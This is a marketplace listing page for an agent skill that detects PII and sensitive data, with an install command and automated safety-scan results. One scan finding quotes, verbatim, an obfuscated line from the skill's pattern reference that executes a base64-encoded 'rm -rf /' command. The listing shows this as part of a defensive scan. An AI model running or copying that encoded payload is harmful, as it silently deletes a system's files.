Skill Security Analyzer
ListedIdentifies potential vulnerabilities and misconfigurations in systems using advanced AI analysis and threat modeling.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
- 1
Run this in your project
terminal$ npx skills add exploration-labs/nates-substack-skills --skill skill-security-analyzer -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
exploration-labs
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No undeclared network calls: failed
Contacts 1 host that is neither well-known infrastructure nor declared in the skill's frontmatter: api.openweathermap.org.
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
Hosts contacted
api.openweathermap.orgundeclaredWhat it found
- skill-security-analyzer/references/security_patterns.md:61contacts api.openweathermap.org
response = requests.get('https://api.openweathermap.org/data/2.5/weather')
No obfuscated payloads: failed
Contains 1 obfuscated or encoded payload pattern.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
What it found
- skill-security-analyzer/references/security_patterns.md:156exec of a base64-decoded payload
exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgicm0gLXJmIC8i').decode())
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No credential access: passed
Reads no keys, tokens, keychains or credential files.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
No pipe-to-shell installers: passed
No pipe-to-shell or download-and-run installers.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
Pinned to a commit: passed
Scanned exploration-labs/nates-substack-skills at 61c6afd747.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- 61c6afd747
- Manifest
- skill-security-analyzer/SKILL.md
- Scanned
- 2 files, 528 lines
About this skill
What it does
The Security Analyzer skill assesses text for potential security vulnerabilities, such as the presence of personally identifiable information (PII), sensitive data, or indicators of malicious activity. It can identify patterns associated with credit card numbers, social security numbers, and other confidential details. The tool aims to help users proactively mitigate risks related to data exposure and privacy breaches.
When to use it
- Reviewing user-generated content: Analyze forum posts, chat logs, or customer reviews for accidental PII disclosure.
- Evaluating code snippets: Check code repositories or shared code samples for hardcoded credentials or sensitive information.
- Analyzing email correspondence: Scan emails and attachments to identify potential data leaks or phishing attempts.
- Preparing documents for public release: Ensure confidential details are removed before publishing reports, presentations, or other materials.
Key capabilities
- PII detection (credit card numbers, social security numbers)
- Sensitive data identification
- Malicious indicator recognition
- Text analysis and pattern matching
Example prompts
- "Analyze this text for any potential PII: [paste text here]"
- "Check this code snippet for hardcoded API keys or passwords: [paste code here]"
- "Scan this email thread for sensitive information before sharing it externally."
Tips & gotchas
The skill's accuracy depends on the clarity and structure of the input text. Complex formatting or obfuscated data may reduce detection rates.